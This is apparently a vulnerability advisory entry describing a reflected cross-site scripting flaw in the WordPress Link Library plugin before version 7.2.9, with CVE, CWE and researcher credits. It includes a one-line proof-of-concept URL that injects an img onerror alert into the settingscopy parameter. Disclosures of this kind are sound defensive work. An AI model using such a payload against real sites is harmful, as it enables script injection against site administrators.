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How it worksPricing
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For developers
StatusAPI detailsCLI scanner
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WordPress Plugin Vulnerabilities

Link Library < 7.2.9 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the settingscopy parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/edit.php?post_type=link_library_links&page=link-library-settingssets&settings=%3Cb%3E&settingscopy=%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E 

Affects Plugins

link-library
Fixed in version 7.2.9

References

CVE
CVE-2021-25091

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
96204946-0b10-4a2c-8079-473883ff95b6

Timeline

Publicly Published

2021-12-30 (about 1 years ago)

Added

2021-12-30 (about 1 years ago)

Last Updated

2022-04-13 (about 9 months ago)

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